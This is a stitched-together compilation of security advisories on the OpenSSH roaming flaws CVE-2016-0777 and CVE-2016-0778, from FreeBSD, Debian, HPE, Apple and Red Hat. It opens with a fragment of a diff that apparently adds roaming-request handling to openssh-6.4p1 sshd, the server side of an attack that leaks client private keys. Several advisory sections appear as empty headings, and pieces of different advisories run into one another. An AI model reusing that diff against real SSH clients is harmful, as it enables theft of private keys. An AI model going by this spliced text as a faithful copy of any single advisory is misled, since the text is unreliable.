{\n+\t\tif (want_reply != 1)\n+\t\t\tfatal(\"%s: rtype %s want_reply %d\", __func__,\n+\t\t\t\t rtype, want_reply);\n+\t\troaming_disconnect(ctxt);\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, ROAMING_REQUEST);\n \t}\n \tif (want_reply) {\n \t\tpacket_start(success ?\ndiff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c\n--- openssh-6.4p1/sshd.c\t2013-07-19 20:21:53.000000000 -0700\n+++ openssh-6.4p1+roaming/sshd.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)\n \t}\n \tif (options.kex_algorithms != NULL)\n \t\tmyproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;\n+\telse\n+\t\tmyproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX \",\" KEX_RESUME;\n \n \tif (options.rekey_limit || options.rekey_interval)\n \t\tpacket_set_rekey_limits((u_int32_t)options.rekey_limit,\n. \nCorrected: 2016-01-14 22:42:43 UTC (stable/10, 10.2-STABLE)\n 2016-01-14 22:45:33 UTC (releng/10.2, 10.2-RELEASE-p10)\n 2016-01-14 22:47:54 UTC (releng/10.1, 10.1-RELEASE-p27)\n 2016-01-14 22:50:35 UTC (stable/9, 9.3-STABLE)\n 2016-01-14 22:53:07 UTC (releng/9.3, 9.3-RELEASE-p34)\nCVE Name: CVE-2016-0777\n\nFor general information regarding FreeBSD Security Advisories,\nincluding descriptions of the fields above, security branches, and the\nfollowing sections, please visit \u003cURL:https://security.FreeBSD.org/\u003e. The ssh(1) is client side utility used\nto login to remote servers. \n\nII. \n\nIII. \n\nIV. \n\nAll current remote ssh(1) sessions need to be restared after changing\nthe configuration file. \n\nV. Solution\n\nPerform one of the following:\n\n1) Upgrade your vulnerable system to a supported FreeBSD stable or\nrelease / security branch (releng) dated after the correction date. \n\n2) To update your vulnerable system via a binary patch:\n\nSystems running a RELEASE version of FreeBSD on the i386 or amd64\nplatforms can be updated via the freebsd-update(8) utility:\n\n# freebsd-update fetch\n# freebsd-update install\n\n3) To update your vulnerable system via a source code patch:\n\nThe following patches have been verified to apply to the applicable\nFreeBSD release branches. \n\na) Download the relevant patch from the location below, and verify the\ndetached PGP signature using your PGP utility. \n\n# fetch https://security.FreeBSD.org/patches/SA-16:07/openssh.patch\n# fetch https://security.FreeBSD.org/patches/SA-16:07/openssh.patch.asc\n# gpg --verify openssh.patch.asc\n\nb) Apply the patch. Execute the following commands as root:\n\n# cd /usr/src\n# patch \u003c /path/to/patch\n\nc) Recompile the operating system using buildworld and installworld as\ndescribed in \u003cURL:https://www.FreeBSD.org/handbook/makeworld.html\u003e. \n\nVI. Correction details\n\nThe following list contains the correction revision numbers for each\naffected branch. \n\nBranch/path Revision\n- -------------------------------------------------------------------------\nstable/9/ r294053\nreleng/9.3/ r294054\nstable/10/ r294049\nreleng/10.1/ r294051\nreleng/10.2/ r294052\n- -------------------------------------------------------------------------\n\nTo see which files were modified by a particular revision, run the\nfollowing command, replacing NNNNNN with the revision number, on a\nmachine with Subversion installed:\n\n# svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base\n\nOr visit the following URL, replacing NNNNNN with the revision number:\n\n\u003cURL:https://svnweb.freebsd.org/base?view=revision\u0026revision=NNNNNN\u003e\n\nVII. \n\nUsers with passphrase-less privates keys, especially in non interactive\nsetups (automated jobs using ssh, scp, rsync+ssh etc.) are advised to\nupdate their keys if they have connected to an SSH server they don\u0027t\ntrust. \n\nMore details about identifying an attack and mitigations will be\navailable in the Qualys Security Advisory. \n\nFor the oldstable distribution (wheezy), these problems have been fixed\nin version 1:6.0p1-4+deb7u3. \n\nFor the stable distribution (jessie), these problems have been fixed in\nversion 1:6.7p1-5+deb8u1. \n\nFor the testing distribution (stretch) and unstable distribution (sid), these\nproblems will be fixed in a later version. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c05247375\nVersion: 1\n\nHPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System\n(vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information,\nRemote Denial of Service (DoS), Remote Disclosure of Information\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2016-08-29\nLast Updated: 2016-08-29\n\nPotential Security Impact: Remote Denial of Service (DoS), Disclosure of\nInformation, Unauthorized Modification Of Information\n\nSource: Hewlett Packard Enterprise, Product Security Response Team\n\nVULNERABILITY SUMMARY\nPotential vulnerabilities have been identified in the lighttpd and OpenSSH\nversion used in HPE Remote Device Access: Virtual Customer Access System\n(vCAS). These vulnerabilities could be exploited remotely resulting in\nunauthorized modification of information, denial of service (DoS), and\ndisclosure of information. \n\nReferences:\n\nCVE-2015-3200\nCVE-2016-0777\nCVE-2016-0778\nPSRT110211\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \nHPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA\n8.1) and earlier. \n\nBACKGROUND\n\n CVSS Base Metrics\n =================\n Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector\n\n CVE-2015-3200\n 5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n 5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)\n\n CVE-2016-0777\n 6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\n 4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)\n\n CVE-2016-0778\n 9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)\n\n Information on CVSS is documented in\n HPE Customer Notice HPSN-2008-002 here:\n\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499\n\nRESOLUTION\n\nHPE has made the following updates available to resolve the vulnerabilities\nin Remote Device Access: Virtual Customer Access System (vCAS)\n\nvCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and\nhp-rdacas-16.05-10482.ova. \n\nThe Oracle VirtualBox kit is available at:\nhttps://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova\n\nThe VMware ESX(i) and VMware Player kit is available at:\nhttps://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova\n\nHISTORY\nVersion:1 (rev.1) - 29 August 2016 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running Hewlett Packard Enterprise (HPE) software\nproducts should be applied in accordance with the customer\u0027s patch management\npolicy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HPE Services support channel. \n\nReport: To report a potential security vulnerability for any HPE supported\nproduct:\n Web form: https://www.hpe.com/info/report-security-vulnerability\n Email: security-alert@hpe.com\n\nSubscribe: To initiate a subscription to receive future HPE Security Bulletin\nalerts via Email: http://www.hpe.com/support/Subscriber_Choice\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here: http://www.hpe.com/support/Security_Bulletin_Archive\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HPE General Software\nHF = HPE Hardware and Firmware\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPV = ProCurve\nST = Storage Software\nUX = HP-UX\n\nCopyright 2016 Hewlett Packard Enterprise\n\nHewlett Packard Enterprise shall not be liable for technical or editorial\nerrors or omissions contained herein. The information provided is provided\n\"as is\" without warranty of any kind. To the extent permitted by law, neither\nHP or its affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. Hewlett\nPackard Enterprise and the names of Hewlett Packard Enterprise products\nreferenced herein are trademarks of Hewlett Packard Enterprise in the United\nStates and other countries. Other product and company names mentioned herein\nmay be trademarks of their respective owners. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\nAPPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update\n2016-002\n\nOS X El Capitan 10.11.4 and Security Update 2016-002 is now available\nand addresses the following:\n\napache_mod_php\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription: Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by updating libpng to version\n1.6.20. \nCVE-ID\nCVE-2015-8126 : Adam Mari\u0161\nCVE-2015-8472 : Adam Mari\u0161\n\nAppleRAID\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team\n\nAppleRAID\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A local user may be able to determine kernel memory layout\nDescription: An out-of-bounds read issue existed that led to the\ndisclosure of kernel memory. This was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team\n\nAppleUSBNetworking\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue existed in the parsing of\ndata from USB devices. This issue was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path\n\nBluetooth\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1735 : Jeonghoon Shin@A.D.D\nCVE-2016-1736 : beist and ABH of BoB\n\nCarbon\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted .dfont file may lead to\narbitrary code execution\nDescription: Multiple memory corruption issues existed in the\nhandling of font files. These issues were addressed through improved\nbounds checking. \nCVE-ID\nCVE-2016-1737 : an anonymous researcher\n\ndyld\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An attacker may tamper with code-signed applications to\nexecute arbitrary code in the application\u0027s context\nDescription: A code signing verification issue existed in dyld. \nCVE-ID\nCVE-2016-1738 : beist and ABH of BoB\n\nFontParser\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Opening a maliciously crafted PDF file may lead to an\nunexpected application termination or arbitrary code execution\nDescription: A memory corruption issue was addressed through\nimproved memory handling. \nCVE-ID\nCVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with\nTrend Micro\u0027s Zero Day Initiative (ZDI)\n\nHTTPProtocol\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A remote attacker may be able to execute arbitrary code\nDescription: Multiple vulnerabilities existed in nghttp2 versions\nprior to 1.6.0, the most serious of which may have led to remote code\nexecution. These were addressed by updating nghttp2 to version 1.6.0. \nCVE-ID\nCVE-2015-8659\n\nIntel Graphics Driver\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1743 : Piotr Bania of Cisco Talos\nCVE-2016-1744 : Ian Beer of Google Project Zero\n\nIOFireWireFamily\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A local user may be able to cause a denial of service\nDescription: A null pointer dereference was addressed through\nimproved validation. \nCVE-ID\nCVE-2016-1745 : sweetchip of Grayhash\n\nIOGraphics\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro\u0027s\nZero Day Initiative (ZDI)\nCVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro\u0027s\nZero Day Initiative (ZDI)\n\nIOHIDFamily\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to determine kernel memory layout\nDescription: A memory corruption issue was addressed through\nimproved memory handling. \nCVE-ID\nCVE-2016-1748 : Brandon Azad\n\nIOUSBFamily\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of\nTrend Micro working with Trend Micro\u0027s Zero Day Initiative (ZDI)\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A use after free issue was addressed through improved\nmemory management. \nCVE-ID\nCVE-2016-1750 : CESG\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A race condition existed during the creation of new\nprocesses. This was addressed through improved state handling. \nCVE-ID\nCVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A null pointer dereference was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team\n\nKernel\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team\nCVE-2016-1755 : Ian Beer of Google Project Zero\nCVE-2016-1759 : lokihardt\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to determine kernel memory layout\nDescription: An out-of-bounds read issue existed that led to the\ndisclosure of kernel memory. This was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1758 : Brandon Azad\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple integer overflows were addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro\u0027s Zero\nDay Initiative (ZDI)\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to cause a denial of service\nDescription: A denial of service issue was addressed through\nimproved validation. \nCVE-ID\nCVE-2016-1752 : CESG\n\nlibxml2\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: Processing maliciously crafted XML may lead to unexpected\napplication termination or arbitrary code execution\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2015-1819\nCVE-2015-5312 : David Drysdale of Google\nCVE-2015-7499\nCVE-2015-7500 : Kostya Serebryany of Google\nCVE-2015-7942 : Kostya Serebryany of Google\nCVE-2015-8035 : gustavo.grieco\nCVE-2015-8242 : Hugh Davenport\nCVE-2016-1761 : wol0xff working with Trend Micro\u0027s Zero Day\nInitiative (ZDI)\nCVE-2016-1762\n\nMessages\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An attacker who is able to bypass Apple\u0027s certificate\npinning, intercept TLS connections, inject messages, and record\nencrypted attachment-type messages may be able to read attachments\nDescription: A cryptographic issue was addressed by rejecting\nduplicate messages on the client. \nCVE-ID\nCVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk,\nIan Miers, and Michael Rushanan of Johns Hopkins University\n\nMessages\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Clicking a JavaScript link can reveal sensitive user\ninformation\nDescription: An issue existed in the processing of JavaScript links. \nThis issue was addressed through improved content security policy\nchecks. \nCVE-ID\nCVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of\nBishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox\n\nNVIDIA Graphics Drivers\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1741 : Ian Beer of Google Project Zero\n\nOpenSSH\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: Connecting to a server may leak sensitive user information,\nsuch as a client\u0027s private keys\nDescription: Roaming, which was on by default in the OpenSSH client,\nexposed an information leak and a buffer overflow. These issues were\naddressed by disabling roaming in the client. \nCVE-ID\nCVE-2016-0777 : Qualys\nCVE-2016-0778 : Qualys\n\nOpenSSH\nAvailable for: OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5\nImpact: Multiple vulnerabilities in LibreSSL\nDescription: Multiple vulnerabilities existed in LibreSSL versions\nprior to 2.1.8. These were addressed by updating LibreSSL to version\n2.1.8. \nCVE-ID\nCVE-2015-5333 : Qualys\nCVE-2015-5334 : Qualys\n\nOpenSSL\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A remote attacker may be able to cause a denial of service\nDescription: A memory leak existed in OpenSSL versions prior to\n0.9.8zh. This issue was addressed by updating OpenSSL to version\n0.9.8zh. \nCVE-ID\nCVE-2015-3195\n\nPython\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription: Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by updating libpng to version\n1.6.20. \nCVE-ID\nCVE-2014-9495\nCVE-2015-0973\nCVE-2015-8126 : Adam Mari\u0161\nCVE-2015-8472 : Adam Mari\u0161\n\nQuickTime\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted FlashPix Bitmap Image may\nlead to unexpected application termination or arbitrary code\nexecution\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1767 : Francis Provencher from COSIG\nCVE-2016-1768 : Francis Provencher from COSIG\n\nQuickTime\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted Photoshop document may lead\nto unexpected application termination or arbitrary code execution\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1769 : Francis Provencher from COSIG\n\nReminders\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Clicking a tel link can make a call without prompting the\nuser\nDescription: A user was not prompted before invoking a call. This\nwas addressed through improved entitlement checks. \nCVE-ID\nCVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of\nLaurent.ca\n\nRuby\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A local attacker may be able to cause unexpected application\ntermination or arbitrary code execution\nDescription: An unsafe tainted string usage vulnerability existed in\nversions prior to 2.0.0-p648. \nCVE-ID\nCVE-2015-7551\n\nSecurity\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A local user may be able to check for the existence of\narbitrary files\nDescription: A permissions issue existed in code signing tools. This\nwas addressed though additional ownership checks. \nCVE-ID\nCVE-2016-1773 : Mark Mentovai of Google Inc. \n\nSecurity\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted certificate may lead to\narbitrary code execution\nDescription: A memory corruption issue existed in the ASN.1 decoder. \nThis issue was addressed through improved input validation. \nCVE-ID\nCVE-2016-1950 : Francis Gabriel of Quarkslab\n\nTcl\nAvailable for: \nOS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription: Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by removing libpng. \nCVE-ID\nCVE-2015-8126 : Adam Mari\u0161\n\nTrueTypeScaler\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted font file may lead to\narbitrary code execution\nDescription: A memory corruption issue existed in the processing of\nfont files. This issue was addressed through improved input\nvalidation. \nCVE-ID\nCVE-2016-1775 : 0x1byte working with Trend Micro\u0027s Zero Day\nInitiative (ZDI)\n\nWi-Fi\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An attacker with a privileged network position may be able\nto execute arbitrary code\nDescription: A frame validation and memory corruption issue existed\nfor a given ethertype. This issue was addressed through additional\nethertype validation and improved memory handling. \nCVE-ID\nCVE-2016-0801 : an anonymous researcher\nCVE-2016-0802 : an anonymous researcher\n\nOS X El Capitan 10.11.4 includes the security content of Safari 9.1. \nhttps://support.apple.com/kb/HT206171\n\nOS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained\nfrom the Mac App Store or Apple\u0027s Software Downloads web site:\nhttp://www.apple.com/support/downloads/\n\nInformation will also be posted to the Apple Security Updates\nweb site: https://support.apple.com/kb/HT201222\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n-----BEGIN PGP SIGNATURE-----\nComment: GPGTools - https://gpgtools.org\n\niQIcBAEBCgAGBQJW8JQFAAoJEBcWfLTuOo7tZSYP/1bHFA1qemkD37uu7nYpk/q6\nARVsPgME1I1+5tOxX0TQJgzMBmdQsKYdsTiLpDk5HTuv+dAMsFfasaUItGk8Sz1w\nHiYjSfVsxL+Pjz3vK8/4/fsi2lX6472MElRw8gudITOhXtniGcKo/vuA5dB+vM3l\nJy1NLHHhZ6BD2t0bBmlz41mZMG3AMxal2wfqE+5LkjUwASzcvC/3B1sh7Fntwyau\n/71vIgMQ5AaETdgQJAuQivxPyTlFduBRgLjqvPiB9eSK4Ctu5t/hErFIrP2NiDCi\nUhfZC48XbiRjJfkUsUD/5TIKnI+jkZxOnch9ny32dw2kUIkbIAbqufTkzsMXOpng\nO+rI93Ni7nfzgI3EkI2bq+C+arOoRiveWuJvc3SMPD5RQHo4NCQVs0ekQJKNHF78\njuPnY29n8WMjwLS6Zfm+bH+n8ELIXrmmEscRztK2efa9S7vJe+AgIxx7JE/f8OHF\ni9K7UQBXFXcpMjXi1aTby/IUnpL5Ny4NVwYwIhctj0Mf6wTH7uf/FMWYIQOXcIfP\nIzo+GXxNeLd4H2ypZ+UpkZg/Sn2mtCd88wLc96+owlZPBlSqWl3X1wTlp8i5FP2X\nqlQ7RcTHJDv8jPT/MOfzxEK1n/azp45ahHA0o6nohUdxlA7PLci9vPiJxqKPo/0q\nVZmOKa8qMxB1L/JmdCqy\n=mZR+\n-----END PGP SIGNATURE-----\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n Red Hat Security Advisory\n\nSynopsis: Moderate: openssh security update\nAdvisory ID: RHSA-2016:0043-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://rhn.redhat.com/errata/RHSA-2016-0043.html\nIssue date: 2016-01-14\nCVE Names: CVE-2016-0777 CVE-2016-0778 \n=====================================================================\n\n1. Summary:\n\nUpdated openssh packages that fix two security issues are now available for\nRed Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having Moderate security\nimpact. Common Vulnerability Scoring System (CVSS) base scores, which give\ndetailed severity ratings, are available for each vulnerability from the\nCVE links in the References section. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64\nRed Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - x86_64\n\n3. Description:\n\nOpenSSH is OpenBSD\u0027s SSH (Secure Shell) protocol implementation. \nThese packages include the core files necessary for both the OpenSSH client\nand server. (CVE-2016-0778)\n\nRed Hat would like to thank Qualys for reporting these issues. \n\nAll openssh users are advised to upgrade to these updated packages, which\ncontain backported patches to correct these issues. After installing this\nupdate, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. \n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258\n\n5. Package List:\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Client Optional (v. 7):\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional (v. 7):\n\nx86_64:\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nppc64:\nopenssh-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-server-6.6.1p1-23.el7_2.ppc64.rpm\n\nppc64le:\nopenssh-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-server-6.6.1p1-23.el7_2.ppc64le.rpm\n\ns390x:\nopenssh-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-clients-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-server-6.6.1p1-23.el7_2.s390x.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 